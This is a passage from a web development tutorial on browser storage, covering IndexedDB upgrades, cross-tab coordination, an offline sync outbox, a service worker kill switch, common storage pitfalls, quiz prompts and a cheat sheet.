db.onversionchange = () => {
db.close(); // let the new version upgrade
showBanner("This app was updated in another tab. Reload to continue.");
};
req.onblocked = () => showBanner("Close other tabs of this app to finish updating.");In our test, the order was exactly: old tab gets versionchange, new tab gets blocked, old tab closes, then upgradeneeded runs. If the old tab ignores the event, the new one waits forever.
3. Many tabs, one app
Users open your app in several tabs. Two small APIs keep them from fighting:
// tell the other tabs something happened
const channel = new BroadcastChannel("notes");
channel.postMessage({ type: "saved", id: 7 });
channel.onmessage = (e) => { if (e.data.type === "saved") reloadList(); };
// make sure only ONE tab runs the sync, however many are open
await navigator.locks.request("sync-outbox", async () => {
await flushOutbox(); // the lock is released when this resolves
});BroadcastChannel sends messages to every tab, frame and worker of the same origin, like the storage event (§04) but for any data. The Web Locks API gives you a lock shared by all of them: a second tab asking for "sync-outbox" waits until the first is done, so two tabs never send the same change twice.
4. Offline writes: an outbox
An offline-first app writes locally first and syncs later. The pattern is an outbox: save the change and a "send this" entry in one transaction, then send entries in order when the network is there.
async function saveNote(note) {
const tx = db.transaction(["notes", "outbox"], "readwrite"); // two stores, one transaction
tx.objectStore("notes").put(note);
tx.objectStore("outbox").add({ note, key: crypto.randomUUID() }); // ← idempotency key
await done(tx); // both saved, or neither (§05's helper)
flushOutbox().catch(() => {}); // try now; a failure just means "later"
}
async function flushOutbox() {
const items = await reqP(db.transaction("outbox").objectStore("outbox").getAll());
for (const item of items) {
const res = await fetch("/api/notes", {
method: "PUT",
headers: { "Content-Type": "application/json", "Idempotency-Key": item.key },
body: JSON.stringify(item.note),
});
if (!res.ok) throw new Error(`sync failed: ${res.status}`); // stop here; keep the order
const tx = db.transaction("outbox", "readwrite");
tx.objectStore("outbox").delete(item.id);
await done(tx);
}
}The Idempotency-Key matters: if the request reached the server but the reply was lost, the retry sends the same key, and the server can recognise it and not apply the change twice (Idempotency covers the server side). Call flushOutbox on startup, after each save, and on the online event. Chromium also has Background Sync, which lets a service worker retry after the page is closed; other browsers don't, so treat it as a bonus.
Conflicts (the same note edited on two devices while offline) are a design decision, not a storage feature: last write wins, per-field merges, or asking the user. Decide it before you ship the outbox.
5. Service workers need an escape hatch
A buggy service worker can keep serving a broken app from the cache, to every user, until it's replaced. Since the browser always re-checks sw.js itself, you can always ship a fix. Keep this "kill switch" version ready:
self.addEventListener("install", () => self.skipWaiting()); // don't wait (§09)
self.addEventListener("activate", (event) => {
event.waitUntil((async () => {
for (const name of await caches.keys()) await caches.delete(name);
await self.registration.unregister(); // remove the worker
for (const client of await self.clients.matchAll({ type: "window" })) {
client.navigate(client.url); // reload open tabs from the network
}
})());
});Also: serve sw.js with Cache-Control: no-cache, never serve HTML cache-first, test updates with two tabs open (that's what users have), and watch the share of page loads served by each worker version in your analytics (Observability).
6. Things that will surprise you eventually
- Partitioned third-party storage. If your code runs inside someone else's page in an
<iframe>(an embed, a payment form, a chat widget), its storage is partitioned by the top-level site in all major browsers now: a user logged in onwidget.comis logged out insidenews.com's embed. Third-party cookies are a moving target: Safari blocks them and Firefox partitions them by default, while Chrome, at the time of writing, still allows them by default after Google dropped its plan to phase them out. Don't build on them (CORS & CSRF §05). The Storage Access API lets an embed ask the user for its unpartitioned storage. - Storage that throws. Users block storage per site; some privacy modes and older browsers (Safari 10 and earlier, in private windows) threw on every
setItem. Feature-detect, wrap calls intry/catch, and make storage an enhancement, not a requirement. - Bigger needs. For a real local database (SQL queries, many megabytes of rows), teams now run SQLite compiled to WebAssembly (a compact, fast code format browsers can run next to JavaScript) on top of the origin private file system (OPFS), usually inside a Web Worker. Chromium also has Storage Buckets, which split a site's storage into separately evictable groups; it's Chromium-only at the time of writing.
Pitfalls gallery
Each of these has shipped to production somewhere. Most are one line to fix once you know them.
Saving an object without JSON
localStorage.setItem("cart", cart) stores "[object Object]", and the cart is gone. Arrays become "1,2,3", numbers come back as strings ("42" + 1 is "421"). Always JSON.stringify in and JSON.parse out (§04).
Trusting what you read back
JSON.parse(localStorage.getItem("prefs")).theme crashes when the key is missing (JSON.parse(null) gives null, then .theme throws), when the text is corrupt, or when last month's version stored a different shape. Read through a helper with a fallback and a version field (§04, §13).
Touching storage during server rendering
With server-side rendering, your component also runs on the server, where window, localStorage and indexedDB don't exist: "ReferenceError: localStorage is not defined". Read storage in an effect (which only runs in the browser), and expect the first browser render to match the server's output. CSR, SSR & Hydration explains why.
Login tokens in localStorage
Any script on the page, including an injected one, can read and copy them (§12). Prefer an HttpOnly, Secure, SameSite session cookie set by the server, or keep short-lived tokens in memory only.
Serving HTML cache-first
A service worker that answers navigations from the cache first means index.html never updates, so users stay on the old app (and its old asset names) forever. Use network-first for HTML, cache-first only for content-hashed files (§10).
Storing a response and returning it too
cache.put(req, res) reads the body; returning the same res then fails with "body stream already read". Store res.clone() (§08).
Awaiting a fetch inside an IndexedDB transaction
The transaction auto-commits while you wait, and the next write throws TransactionInactiveError. Do the network call first, then open a short transaction (§05).
Caches that only grow
Nothing in the Cache API expires. Without versioned cache names cleaned up in activate, and a cap on runtime caches, every deploy adds another full copy of your app to the user's disk, until the quota or the user's patience runs out (§08, §11).
Expecting a reload to deploy the new service worker
A new worker waits until every tab using the old one closes; a reload keeps the old one (§09). In development, tick "Update on reload" in DevTools → Application → Service workers. In production, show an "Update available" prompt.
Cookie bloat
Every analytics, A/B and consent tool adds cookies, and every cookie rides on every request, images included (§03). Audit them in DevTools → Application → Cookies, and keep anything the server doesn't read out of cookies.
Leaving the last user's data behind
On a shared computer, the next person opens your app and sees the previous user's cached inbox. On logout, clear storage and caches, send Clear-Site-Data, and key local data by user ID (§12).
Treating browser storage as permanent
Eviction under storage pressure, Safari's seven-day rule, private windows and "Clear browsing data" can all empty it (§11). Keep the server as the source of truth, and sync unsent changes early.
Check yourself
Commit to an answer before you click. Each explanation points back to the section that covers it.
localStorage.setItem("cart", [1, 2, 3]);
const cart = localStorage.getItem("cart");Your page makes 40 requests to your own server. Which of these does the browser add to every one of them without any code from you?
Your app runs on http://localhost:5173 and its API on http://localhost:3000. What do they share?
You shipped a new sw.js. A user reloads the page, and still gets the old version of your app. Most likely?
const tx = db.transaction("notes", "readwrite");
const store = tx.objectStore("notes");
const res = await fetch("/api/notes/7");
store.put(await res.json());A notes app keeps everything in IndexedDB. It never called navigator.storage.persist(). Which is true?
A single-page app needs to remember the user is logged in across reloads. Which is the safest default?
Cheat sheet
HttpOnly; Secure; SameSite for anything that matters.JSON.stringify in, JSON.parse (with a fallback) out. Readable by any script.upgradeneeded; batch writes; never await other work mid-transaction.max-age=31536000, immutable. index.html: no-cache. It speeds up repeat visits but doesn't make an app work offline.clone() before put.skipWaiting() with care. Keep a kill switch.persist() when it matters. No tokens, secrets or trusted flags; clear everything on logout.| If you want to… | Do this | Avoid |
|---|---|---|
| Remember a theme or language | localStorage + JSON | a cookie the server never reads |
| Keep a form draft in one tab | sessionStorage | localStorage (leaks to other tabs, lives forever) |
| Keep someone logged in | server-set HttpOnly; Secure; SameSite cookie | a token in localStorage |
| Store thousands of records or files | IndexedDB (via idb or a small wrapper) | one giant localStorage JSON blob |
| Cache JS/CSS/images | content-hashed names + immutable; index.html with no-cache | long max-age on unhashed files |
| Work offline | service worker + Cache API + offline fallback page | relying on the HTTP cache |
| Sync tabs | storage event, BroadcastChannel, Web Locks | polling localStorage |
| Know how much space you have | navigator.storage.estimate() | hard-coded limits |
| Log out cleanly | end the session, Clear-Site-Data, clear storage in JS | leaving cached user data |